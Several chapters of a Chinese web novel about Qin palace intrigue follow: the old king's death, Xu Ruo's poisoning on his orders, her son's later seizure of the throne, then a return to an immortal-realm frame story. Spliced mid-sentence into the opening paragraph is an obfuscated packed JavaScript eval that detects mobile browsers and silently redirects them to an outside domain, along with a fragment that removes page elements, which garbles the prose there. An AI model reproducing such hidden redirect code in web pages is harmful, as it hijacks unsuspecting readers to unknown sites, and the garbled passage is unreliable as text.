如今,她容颜已老,银发渐生,青春不再,见这秦宫,心中平静无澜。 这广阔秦宫,他年谁主? 百年浮沉,岁月匆匆,你来我往,人易老,江山不老。 携着郑宸踏入议政殿时,徐若发现朝堂上多了些她不认识的面孔,但也有她熟悉的老人。 秦王依旧高居王座,玄衣玄裳,玉带束腰,头冠九旒,挡在他脸上看不清神色,但徐若看见他银灰色的髯须。 卫姬坐在秦王身边,王后锦服衬得她比记忆中的娇憨多了些稳重,她含笑望着徐若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137540|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好似见了个关系不错的故人一般。 吴秋行老了,他生了许多白发,那双原本就深邃的眼眸更加幽深难测。 吴秋行对面,站着一个年轻公子。 这公子面容清秀,虽然面色唇色都有些微白,但依旧气度不凡。 隐约有秦王年轻时的影子,只不过那眼睛…… 和她很像。 黑白分明,清透如珠玉。 徐若有些恍惚,不太敢认。 那是她的朗儿,是她没有机会去照顾过的朗儿。 她遥遥立于阶下,朝上拜道:“徐氏拜见君上,君上万年。” 秦王咳了几声,声音有些低沉嘶哑,“免礼。” 徐若刚想提醒郑宸行礼,郑宸便迈步向前几步,恭恭敬敬行了一礼,掷地有声道:“孩儿见过父王、王后,父王与王后长乐无极。” 郑宸的声音却极清朗,站立时脊梁也很直,像一根初生的翠竹,虽仍稚嫩,却自有风骨。 秦王颔首,“你母亲将你教的很好。” 郑宸正色回道:“谢父王赞誉,在燕国数载,母亲对孩儿的教诲从未懈怠一日。” 简单两句,郑宸便给秦国君臣留下深刻的印象。 郑宸在外,从没让徐若操过心。 她这一生,父与夫皆不顺意,小儿子却弥补了很多遗憾。 散朝后,卫姬热络地拉着她和郑宸一同回宫。 卫姬说:“徐姐姐,自你走后,你原来的寝宫就一直空着,可君上还是定期派人去清扫,就好像人一直在似的。此次回来,你还是住那儿。” 徐若其实不是很想和她闲谈,不知道是不是看出她的疲倦不耐,郑宸十分积极地拉着卫姬问东问西。 卫姬觉得郑宸年幼可爱,和他有来有回地聊起天来。 徐若和郑朗分列两边,两人十分安静。 郑宸忽然对郑朗说:“大哥哥,娘亲在燕国时时常念起你,你怎么不和娘亲多说说话?” 郑朗其实知道徐若是他的生母,只是徐若不开口,他也腼腆,不知该如何和她说话。 郑宸这么一提,倒给他机会,他顺着郑宸的话,走到徐若身旁,恭谨又客气喊了一声:“娘。” 徐若没想到他会如此称呼自己,早些年那声“徐美人”,让她神伤许久。 这声娘,她等了许多年。郑朗今年十八岁,她就等了十八年。 她应了一声。 “娘在燕国待了十一年,一定很辛苦。” 她摇摇头,“不苦。” 真好啊,朗儿会关心她。 “儿子自幼未在娘膝下尽孝,十分内疚。日后,娘如有需要,尽管吩咐儿子。” “娘其实也没当好一个娘,该愧疚的是娘。”说着说着,难免双眼微红。 生他的时候,她心中只有恨,只想着这孩子原不该来到世上,即便来到世上,也不能按着他自己的意愿行事,只能作为秦国未来的国君降生。更别说那时候,她也不成熟,身体又差,导致他身体也差,先天带有顽疾。 那时,太医令私下和她说,也许公子朗活不过而立之年。 她不怪他与她母子情份淡薄,只愧疚自己没好好对他。所以她把双份的爱都倾注在郑宸身上。 她和郑朗说话时,卫姬偶尔也想说上几句,都被郑宸拉着说别的。 徐若看着郑宸对卫姬撒娇的样子,心中觉得有些好笑。 这孩子,怎么连这点都继承了。 郑朗和她的关系有所缓和,是她归秦的意外之喜。虽然不是依旧比不上他与卫姬熟稔亲厚,但已是无比可贵。 四人将要分别时,郑宸说他想和哥哥叙一叙兄弟感情,卫姬便带着兄弟二人去凉亭坐坐。 徐若对卫姬还是放心的,且路途跋涉劳累,她想回到原来寝宫歇一歇。 刚路过水桥时,便被内侍拦住。 内侍说,君上有请。 59. 秋风生渭水(8) 59.秋风生渭水(8) 徐若对秦王的情感始终处于一种极大的矛盾中。 她以往真是恨极了他,眠于他侧时,恨不得将他活活捅死。 可她见他治国理政,的确是位选贤任能、励精图治的国君,在这方面,她又是有那么一点崇敬他的。 最后,她想明白了一件事,有些悲剧,是命运给的,是无解的,无法用是非对错去衡量。 如果她是他,在当年,也许会做出和他一样的选择。那个时候,不是她父亲死,就是他死,胜者坐拥江山,败者一抔黄土。朝堂杀伐,原本就无情。 如果她真的只是一个普通妃子,也许她会爱他。 可她不是,所以她能做到的仅仅是“不那么恨”。她理解他,可她依然恨他。 徐若跟着内侍去了他的寝宫,她腰间还挂着燕国时割肉的匕首。 燕国乡郊饮食哪里比得了秦宫,常要亲力亲为,割肉什么都是常事,这匕首因此磨得极亮。莫说匕首,她都学会用长刀宰小羊羔了。 抵达宫门前,内侍让她解下匕首。 秦宫旧制,见君王须脱履解剑,趋步朝见。 徐若说:“这匕首是我儿抓周时抓的,自那后便日日随在身上,当作护身符,不想拿掉。” 内侍很为难。 徐若笑道:“你不必为难,你把我原话转告君上。就说他若应允,我就见他,他若不允,我就走了。” 内侍不知所措,“从未有如此先例,便是王后也不可如此。” 在一旁听着的大监皱起眉,说:“王后是王后,徐美人是徐美人,你且进去通报,君上必不会怪你。” 大监是徐若的老熟人,一路看着她受宠到失宠。 内侍这才敢进去。 “大监抬举我。” “不不不,美人,奴只是知道美人在君上心中的地位。”他笑眯眯说着,忽然叹气,“怕是美人自己也不知道。” 徐若不置可否,过一会,内侍回来,果然恭敬道:“美人进去吧。” 她和大监相视一笑,走进寝宫。 这寝宫也是她曾经十分熟悉的地方,她从主室走到卧室,却没见着人,却听见后殿传来一阵咳声。 他在后殿。 她走了进去,见秦王躺在榻上,玄色王袍未脱,冕旒搁置在一旁,露出他已然有些苍老的面容,依稀能见鼎盛时的俊朗。 思来想去,她还是给他行了个礼,“芙君见过君上。” 秦王又开始咳嗽,他拿布条捂着嘴,咳完后,布上皆是血迹。 他抬眸,对她说道:“人一老,百病侵扰,着实烦人。” 她走到榻边坐下,拿出手帕,把他唇畔未擦净的血迹擦掉。 他望着她,说:“芙君,你是个聪明的人,你的两个孩子,都很优秀。秦国能有这两个王子,寡人无忧。” “多谢君上,朗儿优秀,是王后和军师教的好,和我并无什么关系。” “你怨寡人?” 徐若摇头笑道:“君上,我不怨你,我是……恨你。” 只是这恨字,如今也懒说了。 秦王握住她拿着手帕的那只手,终是低声道:“对不起。” “君上不必和我说对不起,而且一句对不起,也换不回我原本幸福美满的一生。” “……芙君,你是一个真正的秦国公主。” “谢君上夸赞,我愧不敢当。” “对寡人而言,是个很特别的姑娘。寡人还记得,初见你时,你一身红衣,舞姿曼妙,后面介绍自己时,更是十分大胆。你穿红色,当真是好看,真像一朵灼灼玫瑰。” 不知是不是人之将死,其言也善。 秦王此时不欲谈政事,也不想谈正事,只说着年少风月,语气微微黯然。 徐若垂首,轻轻一笑。 他叹道:“若有来世……寡人想与你做一对寻常夫妻。” 无论他愿不愿意承认,无论徐若愿不愿意接受,当年那红衣如火、肆意大胆的美人,都是他比铁还硬的王心上落下的一颗朱砂痣,是他泛黄青史中夹杂的一瓣芳英艳色。 君王的情意,她无法回应。 秦王又道:“你带了匕首,是来杀寡人的?” “君上肯让我带,自是不怕我拔刀。” 秦王摇头,“我已风烛残年,油尽灯枯,若由你亲手了结,也没什么所谓。” 徐若道:“我虽然素来放肆,但还是不欺负老人的。” 秦王失笑。 这年初秋,秦王薨。 秦宫处处白幡,朝臣后妃皆着素衣,头系白布。 下棺之日,诸人扶棺而哭。 秦史载,公子宸哀色最重,恸哭之声可感上天。 一个才见到父亲、享受父爱没多久的孩子,转眼间就失去了父亲,因此痛苦不已。公子宸甚至为秦王亲自用手掘土作坟,小小的手落满伤痕,人人看了,都很痛心。这样的孝,难道不够感天动地么? 诸人中,唯有徐若神情淡漠,只不过微红眼眶。 秦王说来世想和她做寻常夫妻,她只盼永生永世,他们再不要相见。 秦王说她像玫瑰,却不知她最爱茉莉。 秦王说爱她红衣如火,却不知她最爱白色。 秦王薨后数月,秦宫铺天盖地的白幡,人们都穿上了白衣。 她爱的无暇的白啊。 * 秦王擎谥号定了“昭武”二字。 圣闻周达曰昭,刑民克服曰武。 当秦宫的人们从白衣换上黑衣时,秦王便也从郑擎成了郑朗。 嫡母王后卫姬为昭武太后,生母徐氏为徐太后。 郑朗即位,郑思如自齐归秦,徐若心也安定。 只不过,朝堂上,郑朗将相国之位一分为二,分了左相右相。 左相袁光,也就是化名的郑思如;右相则是吴秋行。 嘴上说着没分别,但大家心里都清楚,到底是以右为尊的。 至于郑宸,还是个孩子,在朝堂事务上自然没什么话语权。 与徐若预料的相同,郑朗即位,必会提拔吴秋行,再往后,恩泽或及诸多卫系官员。 秦国朝堂上不是不允许有卫国人,在这样的乱世,士子压根没太多爱国观念,良禽择木而栖,君主也都知人善任,不拘泥于士子母国。徐若只是不想看见一家独大。 一家独大,便恒生祸患,何况谁知道强臣是否有更大的野心权欲。秦国之内,朝堂之上,必须以秦王为尊,秦王之下,诸脉制衡时,却又君臣同心,便是最好的状况。落到最后,秦国朝堂还是要由秦人自己说了算。 徐若和郑思如自然也不敢放松筹谋。 令他们惊喜的是,郑宸人小鬼大,有时竟能对时局做出一两句精辟的点评。 不过想想也是,他的父母都是聪明人,父亲更是一只老狐狸,这两人的孩子,必是早慧于人的。 徐若终于也不用困于秦宫,每逢月初,她便去渭水旁散心。 渭水那一边,是八百里秦川。 这一片丰沃的土地,滋养着一代又一代古拙雄健的秦人。 秦岭上,有她先公之墓、先母之墓、兄长之墓,还有秦昭武王之墓。 百年之后,是非功过,喜怒哀乐,皆归青山。 不过,她倒没想到,在渭水之畔能遇见吴秋行。 吴秋行和秦王是一辈人,都年长她十数岁,她还有些半老徐娘的美貌,几根银丝隐藏在乌发中,他们的白发倒是都很明显。 不过吴秋行原本就非俊朗之人,少时吸引她的也不过是通身沉静博学的气质,他老了后,反而更多些似竹似松的仙气。 有情的人有有情人的气质,无情的人有无情人的气质。 吴秋行向来是真的无情人。 情永远不是他人生中重要的东西,所以当初,当她只是小小试探一番,他就把她老底全掀给秦王,生怕她真的下手。 那时她也不冷静,心中对他投身敌营这事总怀着怨气,想看看他究竟能纵容她到哪一步。 毕竟巴掌扇也扇了,言语上怼也怼了,他好像也都忍下了。不过都是因为没真正触碰他的原则,一旦她有一点点可能威胁到他大业的倾向,他就能毫不犹豫弃她。 老实说,若不是秦王对她尚有怜惜,在她身份暴露后,她就会成一具尸体。 后来徐若也渐渐释然了,毕竟,他好像没说过对自己有情。少时告白,本也就是一厢情愿,算不得数。何况,秦宫初次重逢,他向秦王求娶过她,只不过她拒绝了。 她这一生,有过很多选择。走到今日,皆是自己选择,她不后悔。 只是遗憾。 她经历过的三个男人,秦王对她因欲生情,吴秋行对她有欲无情,唯有郑思如,情远胜欲。 她遗憾,如果最初遇见的人是郑思如,就没另外两个什么事了。 吴秋行缓步至她身旁,问道:“数年归来,美人可还会和我作对?” 徐若回他:“你是卫人,我是秦人,你我原本就是不一样的。” “我与你的确不一样,你心中若少些情,说不定早就能赢。” “何解?” “我若是你,早在怀宸儿时,就筹谋着改扶助宸儿上位。让今王即位,对你不利。” “奇了,向来冷心冷情的军师竟然会为我考虑,真是百年难遇之奇事。” 吴秋行沉默了一会,转了话题,“宸儿长得很像你,而且人也聪明。” 徐若回他:“谢谢军师夸奖我儿,毕竟他乃先王与我的子嗣,自然是要结合我们的优点,有我之貌,有先王之才。” 一阵更长的沉默。 话不投机半句多。 吴秋行道:“徐若,你不阴阳怪气会死么?” 徐若对多年后仍能气到吴秋行表示喜闻乐见。 她悠悠叹了声,从腰间抽出那把匕首,放到吴秋行眼前,说:“宸儿抓周时,一手拿先贤古籍,一手拿这把匕首,你看这匕首好看么?” 那刀刃几乎逼到吴秋行眼前,他淡淡道,好看。 她用匕首抵住吴秋行胸膛,轻声笑道:“匕首好看,那我如今笑得还好不好看?” 吴秋行道:“美人有皮相之美,亦有风韵之美。你年轻时,过于青涩,一颦一笑里的妩媚太刻意招摇,像树上没熟透的果子。如今皮相虽不如以往精致,但风韵却更胜当年。笑得很好看。” “哦……原来军师喜欢这一款的,可真是闷骚得很。”她边说,刀刃便越往前送一分,割破肌肤,血珠渐渐渗透衣衫。 吴秋行颇高冷地嗯了一声。 “昔日有君王烽火戏诸侯、千金买一笑,军师曾说过爱怜我,那么,愿不愿意效仿他,让我用这把匕首刺入你的胸膛,来博我一笑?”她朝他挑挑眉,那尖端渐渐深入,她看他因痛皱起眉。 吴秋行没有答应也没有拒绝,望着她淡淡说了声:“妖女。” 徐若终觉无趣,收回匕首,看他胸膛前衣衫沾染了一道血渍,撇撇嘴,“我是妖女?当初谁教我读《蒹葭》的?孤男寡女,教我情诗,谁妖了?不要脸。” “《蒹葭》乃秦国诗作经典,教你是应该的。那时你多大,谁看见个孩子会起那种心思?还孤男寡女,你未免想的太多。” 徐若虽不服气,但也说不出什么。 吴秋行又道:“还有,你那匕首应该戳下去,你心有小义却看不透大局,才总失去一些明明已到手的机会。” “我不是心有小义,我是还对你有情,吴先生。”她故意眼含媚意地望他一眼。 至于是不是真的,任他猜罢。 反正对他而言都一样。 吴秋行不再看她,面向浩荡渭水,叹道:“八百里秦川是多少英豪埋骨之地,这生生不息、奔腾不绝的渭水中又流着多少英雄血泪。” 身老心不老,犹念功业盼今朝。 徐若微微一笑,接道:“渭水东去,不是流的英雄血,是流的所有平平凡凡、不被史册铭记的人的血。英雄无情,生民有情,我永远成不了英雄,但我心中永远知道有情的好,军师会知道吗?” 一将功成万骨枯,没有万骨,何来一将。 青史滚滚,渭水滔滔。胜利者背后,总有无数黯然销魂的失败者。王侯将相背后,总有无数默默无闻的生民百姓。 吴秋行对她道:“小心君上。” 她笑道:“知道了,先生,我走了。” “走吧。” * 郑朗很孝顺,起码在面上是这样。 他孝顺卫姬,也孝顺徐若,下朝后,总是要连着向二人请安。 毕竟不是养在自己身旁长大,徐若和郑朗能聊的,永远只是些浮在表面的话题。 但是徐若很知足,也很珍惜。 郑宸和左相郑思如最亲近,他二人气场相合,一见如故,郑思如也乐得带他去见一见朝臣。 郑宸凭借他无害的笑容和恰到好处的热络,得了很多朝臣的喜爱。 不过这种喜爱,更多只是对一个孩子的喜爱与欣赏。 这日,徐若一人在寝宫中,正在给郑宸和郑朗两人缝个护膝小毯,免得他们坐榻上时冻着。 郑朗下朝,来找她。 郑朗穿着玄色袍服,头戴发冠,徐若望着他有些恍惚,他很像年轻时的郑擎。 只不过,面容比郑擎要温和些,气质也没郑擎稳重。 所以,他看向她时,腼腆之中,还是藏不住不适应和别扭。 “君上来了。”她主动打招呼。 郑朗颔首,说:“卫国使臣带了一瓶美酒,母后留了一壶,让儿子带来给娘尝一尝。” 徐若哦了一声,问道:“这酒是卫后要赠我的,还是君上赠我的?” 郑朗没反应过来,“娘何意?” “若是君上赠我的,便是君上想着有好东西分享给娘,娘更开心些。”她笑着解释。 郑朗点点头,“原来如此。” 徐若说:“倒给娘吧。” 郑朗照做,斟酒一杯,递给她。 她要去拿,忽然扬声喊了一句“朗儿”。 郑朗竟被她忽然提高的音量吓住,手微颤,那杯酒也洒在案上。 “娘,怎么了?” 她笑道:“瞧你这么不小心,我看你心不在焉的,给你提提神。再给我一杯罢。” 郑朗有些尴尬地一笑,再给她斟了杯酒。 她接过那杯酒,一饮而尽,速度之快,让郑朗差点没反应过来。 饮罢,她把小毯子拿出来,对郑朗说:“朗儿,冬天就快来了,娘给你和宸儿缝了护膝的毯子,你处理公务时,做那王座上,把摊子放在腿上,免得冻着。” “……娘。” 她伸出手,抚了抚年轻国君的脸颊。 “娘从小不在你身旁,你被王后扶养长大,娘是感激她的,娘不是称职的母亲,对你没付出什么,娘很愧疚,娘总想着怎么才能弥补,但好像怎么也弥补不了。” “娘希望你当个好王,和你父亲一样的好王,你始终不要忘了,秦国永远是秦人的国,你要对得起秦人,你要对得起你父王。” “娘和宸儿说,让他长大后好好辅佐你,你们两个,一定要让秦国比以前更强,万万不可墮了先人之志。朝堂上切莫让一人一家独大,用人不可皆由善恶亲疏……” 她说着说着,腹中一痛,喉中泛上腥甜,她被血沫呛住,只好咳出来一些,才舒服了。 郑朗看见她唇角鲜血,眼中震惊、愧疚、自责……种种情绪复杂交缠。 他上前想给她擦血,却不急她吐血的速度,他连连道:“对不起,对不起……娘……寡人……我没想着要这样……” 徐若只是有些慈爱地望着他。 他在那样的目光里,终是落下泪,有些无错地解释道:“父王遗旨,儿不敢不从,不得不从……父王临终前说,娘和宸弟都是聪明人,这秦宫聪明人太多,未免日后生出祸端,母与子,必去其一……宸弟他……他还那么小,儿下不去手……” 徐若点点头。 这话说的对,她也料到有这一日。 清剿过宗室势力的先王,自然知道一山不容二虎的道理。有她在郑宸身旁,难免日后不生异心,这样的异心,对稳定的统治而言无疑是潜伏的威胁。 先王也是在教郑朗为王之道。 国君,总要学会果断地舍弃。 先王也许是喜 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“左相怎么来了?”郑朗惊道。 “让他进来。” 将死之人要见的人,郑朗也拦不住。 郑宸看到徐若面色苍白,上前握住她的手,“娘亲,你怎么了,你是不是不舒服?” 徐若摇头,爱怜地揉揉他的头,道:“宸儿,娘很好,娘只是生病了。宸儿,以后要好好听左相教导,也要急着娘以前的教导,你要好好辅佐你兄长,你们二人把秦国看好。” “娘亲,宸儿一定会的。你到底哪里不舒服,宸儿帮你揉揉。” 徐若露出一个笑容,“好宸儿。” 满口血终于抑制不住,她一阵反胃,把那些血全吐在案上。 郑宸哪里见过这样多的血,他终是哇的一声哭出来,嚎啕道:“娘亲,你哪里受伤了,怎么这么严重?” 徐若忽然厉声训斥他:“不准哭!” 郑宸很听话,立马憋住泪水,一张秀气的脸憋的通红,眼也通红。他虽然不再哭喊,但眼角的泪仍是止不住地往外流。 “郑宸,你就要没娘了,没娘之后,你更要坚强,听懂没?” 郑宸立马挺直脊背,带着哭腔道:“听懂了。” “以后不准你哭,不准你大惊小怪,娘一直在天上看你,你要是哪里做得不好,哪里对不起秦国,娘会很生气。” 郑宸掷地有声道:“知道了!” “宸儿,娘爱你。” 郑宸死咬着嘴唇,不让自己哭出声。 “好孩子,和你兄长出去,娘想和左相说会话。” 郑宸起身,朝她一拜,双目通红,礼数周全,几乎是吼出来地说了声“喏”。 然后,极为听话地退了出去。 郑朗也只能随之退出去。 寝宫只剩郑思如和徐若二人。 徐若终于倒在地上,她撑得太辛苦,其实胃中已经痛如刀割。 她的面色苍白,头上全是冷汗。 “若若……你这样,我怎么救你?”他以为他经历了两次和她的分别,这一次已经能做好心理准备,却原来每次都是心痛不已。 徐若冲他笑笑,拉住郑思如的手,另一只手从发髻中拔出一支簪子。 那簪头雕成莲花模样,垂着红珠流苏。 她把簪子塞到他手中,颤着声音说:“思如,这是我娘的簪子,我现在把它给你。假使……真如你所说,我和你是天上的神仙眷侣,你在天上见到我时,把它给我……” 郑思如紧紧握住簪子,郑重点头。 他把她扶起来,将她抱在怀里。 她很冷,他想给她最后一点温暖。 “帮我照顾好宸儿,一定让他好好活下去。” “嗯。” “谢谢你……” “嗯。” “思如……如果有来世,我希望……我成为一朵枝头的花,开在你院中,一直一直,就只陪着你一个人,就这么干干净净、清清白白地属于你一个人。” “好。” 她卧在他怀中,浑身的筋因疼痛开始抽搐。 “思如,我好痛,帮帮我……” 药发到咽气,估计还有一个时辰,她撑不住了。 “怎么帮你。” “你……你有武力,你一掌拍死我,给我个了断,我不想再疼了。” 郑思如轻柔地吻她鬓角,说了声好。 他聚力于手掌中。 他在天界杀过仙人,在人间杀过凡人。 如今,他要亲手杀死爱人。 他不杀她,她会很痛很痛。 他杀她,他会很痛很痛。 那一掌终是拍下,她去得很快,几乎没痛苦,唇边带着宁静的微笑。 他抱着她不愿放手,想用鼻尖蹭蹭她的发,想再亲亲她的鬓角,想再抱抱她。 他的小师姐,他的公主,他的若若。 那是他的姑娘啊。 * 徐太后薨,与先王同葬。 公子宸勤学不辍,天资聪颖,事君至忠,事母至孝。 他博得卫姬和兄长几乎全部的信任。 就连吴秋行也认为他将来是国之重臣、秦之栋梁。 直到公子宸十八岁那年,联合左相及朝中他布下的势力发动政变。 导火索是国君对右相和卫国的过分亲近及依赖,他说,再任国君胡闹,秦将非秦而为卫。 公子宸有智谋,左相有军权,经过两月余的政变清洗,公子宸弑君继位,并且毫不客气地给兄长定谥号为“荒”。 外内从乱曰荒。 秦王宸杀伐果决不输其父,甚至更胜一筹。 弑君后,他幽闭昭武太后,昭武太后卫姬不久病逝。 太后死后,诛右相。 右相吴秋行下狱后,郑宸曾去看他。 “右相为秦国做出的贡献,秦国不会忘记,不过右相仍恋故土,私下往来频繁,手下不听王令,倒听相令,如此威名,令寡人惊惧。” “秋行不惧死,此生抱负略已陈尽,哪怕无法再为君上东出献计,哪怕无法主天下,也无憾无悔。” 郑宸挑眉,“右相好气魄。” 吴秋行望他一笑,忽然道:“你和你娘,长得真的很像。” 只是那双眼眸,阴郁起来时,偶尔也有他一丝影子。 男生女相的君主,却比他兄长更加果断决绝。 郑宸颔首,“寡人的母亲是秦国最美的女子,与她相像,寡人之幸。” 他离开牢狱,对着牢官笑了笑,轻描淡写说:“杀吧。” 从此相国再无左右之分。 郑宸与相国袁光,名为君臣,实同父子。 二人秋猎,望着落日余晖,郑宸说:“寡人一向很听娘亲的话。” 郑思如点头:“好事。” “相国,你同寡人说实话,你是不是喜欢她?” 郑思如无语,“君上,你是君上,问些有营养的问题。” 郑宸说:“要是娘亲还在就好了。” 秦王宸三十岁时,灭了卫国。 秦王宸四十二岁时,灭了燕国。 秦王宸五十岁时,灭了宋国,宋天子禅位,秦国一统东洲。 朝中臣工已经换了一批,郑思如在他统一东洲后便辞官云游。 寡人寡人,孤家寡人。 从此朝堂之上,王只是王,臣只是臣。 但他从不在乎,他是天生的秦王,比他的兄长和父亲都强。这是他欲所在,志所向,从不觉得疲累。 他这一生,自母亲逝后,再没有流过一次泪。 暮年君王,雄心依旧,他立于秦岭,遥观渭水,江河正阔,天正蓝。 也曾殿室铺金玉, 也曾栋宇堆衰茅。 来是红衣,去是白袍。 终是一场空梦了, 她曾偎人笑。 三月芙蓉春色俊, 百里秦川秋光好。 渭水滔滔,孤月相照。 江山不老人长老, 放眼看今朝。 60. 落叶满长安(1) 60.落叶满长安(1) 好在一切都过去了。 人最幸福的时刻之一就是从噩梦中惊醒回过神来的时候。 梦很不好,可现实却没那么不好,还有追求圆满的机会。这样的认知让人喘一口气,叹声“幸好幸好”,然后对现实生出一种眷恋珍惜之感。 王心若还是那个难以被打倒的师姐,而不是在命运裹挟下香消玉殒的徐若,师姐弟见面还能说上几句话,他们之间的关系并没那么不堪,不是仇人见面分外眼红。 吴秋行觉得自己比陶闻生能分得清现实和天劫,但说不遗憾愧疚是不可能的。 毕竟,曾有机会去“拥有”。这是他们不敢说出口的一点绮思,却被没有记忆的自己掐灭。 可气可恨。 因为害怕师姐的疏远冷落,就想着尽力弥补。吴秋行不会像之前陶闻生那样一味沉浸在哀痛后悔的情绪里,既然想弥补就得拿出真本事,给她排忧解难。 只要他对师姐还有用,师姐就不会疏远他。 幻魔出,仙人忧。 然而即便身为衍宗掌门,吴秋行也无法在毫不知晓幻魔底细的情况下推断他的行踪。 他能帮到王心若的就是去推衍仪光什么时候来,以及……鬼域界门此刻在哪里。 吴秋行算后者时心中其实挺不甘愿,但他知道,王心若很需要这条信息,因为她出关后一定很想见郑含元。 王心若接过他的纸条,只见上面写着两行字:仪光百年后至,界门位于东洲既白山巅。 “百年后至?” 吴秋行点头。 王心若无奈一笑,“我们没有胜算。” 百年她的修为根本不可能提高到巅峰时期水平,而她巅峰时期加上所有师弟都打不过仪光。更何况那仪光在化外之境修炼这么些年,此时修为如何,她无从推测。 “或许我们可以和他谈判?毕竟我们已知道如何借天劫之力制约神,他应该也不会轻易动我们。” “此非长久之计,再说这样和我们以前有什么区别?” 吴秋行思索片刻,道:“或者,我们一开始的思路就错了。” “怎么说?” “师姐以为以往斗争是神与仙间的斗争,还是我们与扶光、仪光的斗争?” “是神与仙的斗争。神仙其实完全是两个种族,神的存在本身对仙就是威胁,是三界无法控制的力量。仙欲求自由,必弑神。” “我以往也是这般想的,可……这之中有两个问题,一,并不是所有神都像扶光那样,对三界有所企图;二,以我们的能力,只能靠献祭弑神,弑神,神虽死,仙必元气大伤,这样用鲜血甚至动乱铺就的自由,真的比平和的囚笼更为仙所需要么?” 王心若微皱着眉没说话,吴秋行补充道:“师姐,我并非为素璇那些人说话,只是他们的行为,仔细想想,也是有缘由的。” 王心若说:“我知道,可是你还记不记得自己说过的那句话?” “哪一句?” “主天下者,顾大局而舍小义。如今你是仙界盟主,你即将带领仙界走过数百万年时光。对很多修士而言,他们活不了如此长久,所以对他们而言,弑神与否又有何关系。可你不是,你要对天界未来负责,若放任威胁的存在,耽于安乐,总有一日会在不经意间受到毁灭打击。” “师姐,天界诸仙若不能上下齐心,弑神之计必然处处受阻。内忧不除,难解外患。如今内忧便是幻魔,如若不解决幻魔,平息仙人争议,难保到时候,他们不站到神的那边。若真如此,我等如何弑神?” 王心若垂眸思索,“倒也是。” “而且,师姐,弑神未必只能依靠我们十一人。就拿仪光为例,也许神之间也有斗争,他们之间的理念也会有所不同,所以他们无法随心所欲从化外之境回到三界,那么我们可否让神来制约神。” “诸神以三光为长,你的意思是……擎光师叔?” 吴秋行点头。 王心若道:“可我们没人见过他,也无法找到他。对他唯一的印象……就是那把放在九重天的飞月刀。何况,我总觉得他和仪光、扶光都是一丘之貉。” 飞月刀也是当年剜她神骨的刀,提起这法宝,两人面色都有些微微不正常。 空有计策,却没法付诸实施,这想法也就暂时搁置。 吴秋行想了会道:“师姐,你觉得为何会有’空明山崩,三界倾覆‘的流言?” 王心若摇头,“不知从何而来,但这传闻确实很早便有。” 吴秋行分析道:“我认为有三种可能。一,流言为虚,不足为信;二,空明山下有天地灵元命脉,触之,三界灵气元气混乱,不过山崩后这些年,我也并未感觉天界灵气有何异动,不过是扶光死,灵气散,比以往更充沛些;三,空明山崩,对发出流言的人有威胁,比如……这山,其实是个封印。” 两人静默片刻,王心若恍悟道:“依第三种推测,若连我们都无法参透空明山封印的话,那发出流言的人,修为必在我们之上,也就是说,是神。那封印之物……有可能就是幻魔?” 这样解释,似乎一切就通了。 神封印幻魔,幻魔对神仙有威胁,所以神留下古训,告诫诸修士勿伤空明山,以免放出这有能力颠倒三界的魔物。 她道:“这么说,素璇他们说的原也无错,我是该对幻魔所杀的修士负责。” “这只是猜测,而且,若真如此,也未必是坏事。起码,神是怕幻魔的。” “你想引神与幻魔相斗?” 吴秋行颔首。 王心若说:“我去鬼域一趟,看能否找到些幻魔的线索。” 顺便赶紧找到受伤昏迷的郑含元。 她就要动身,吴秋行忽然拉住她,说:“师姐,其实我一直有个问题想问你。” “什么问题?” 吴秋行面色难得有几分犹豫,可他还是问出来,“历劫之前,对师姐而言,郑师兄……为何是最特别的那个?” 是因为郑含元是最早出现的那一个么? 不是不甘,只是好奇。 郑含元在天界时常独来独往,吴秋行与他接触不多,对他了解很少。 他只知道这位师兄修仙天赋高,使剑使得好,但平日里有些散漫,仪光授课时常常缺席。而且五百万年前那件事还做的十分冲动,直接导致师姐受罚。 师姐为什么会心甘情愿替他受罚,如果换做是其他师弟,师姐也会如此么? “为什么是最特别的那个?”王心若重复一遍问题,忽然有些不好意思地抿唇一笑。 是啊,他为什么是最特别的。 王心若想了会,道:“我和你讲个故事。” * 大概六百多万年前,她刚习剑之时。 她的剑法是仪光和郑含元一起教的,仪光负责领进门,郑含元负责长期陪练。 郑含元于剑修一道极有天赋,他和本命剑纵春秋就像多年老友,那剑在他手中,似融在他心中,随意而动,灵活潇洒。 剑气生,火莲绽,漫天金光艳煞人,同他眉眼一般,锋利又俊丽,潇洒又缠绵。 和那身白衣相比,无论是剑意还是眉眼,色彩都过于浓郁。 那时的郑含元在王心若心中其实有些神秘。 因他不是在树上躺着,就是在树下躺着,身边总放着一壶烈酒,一柄长剑。 乌发如云,白衣似雪的少年,饮酒罢,总姿态散漫,望着远处久久不语。 他游离于人外,基本都是一个人。直到后来赵玄檀他们来时,他才偶尔会和师弟搭几句话。 有一次,看他似乎在发呆,王心若上前,问他:“你在做什么?” 郑含元指着远处天边的霞光,道:“我在看它变红变沉变淡。” “哦……”她似懂非懂点头,坐在他身旁,和他一起 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她说,她看不清月亮。“若是能化作一缕光,飞到月亮身边,将它瞧清楚就好了。” 郑含元抱剑轻笑,忽然道:“小师姐,拿起剑,把我教你的剑招都使出来。” 末了,他说:“而且,记住你说这话时的心情。” 王心若虽然不明白,却依然照做。她持任流光,忽然发现剑身光华十分似月色,她照着记忆,在雪地舞剑,金光如雨。 郑含元说:“你应当飞近些看看,看那些星星是何模样,看那轮明月是何模样。” 王心若照做,她看得很仔细,从青龙之角看到玄武之壁,游遍四象二十八星宿,再去接近月亮。 郑含元极耐心地陪她游云天,观星月,他说:“仅仅用你的眼睛去看就好,不必想太多。” 在天地壮丽之中,她是初生的婴孩,带着对世界原始的好奇,愉悦而轻松、沉浸而纯粹地看着。 这一看,是五年。 他说,以后你使剑时,就回想这些时日。 “你是光,在寻找月亮。” 郑含元是不拘一格的天生剑修,听他指导,通则通,不通则永远不通。 很庆幸,王心若是通的那个。 其余时间,郑含元没再指导什么,王心若自己摸索出一种剑法,那剑法就叫“溯月萦光”。 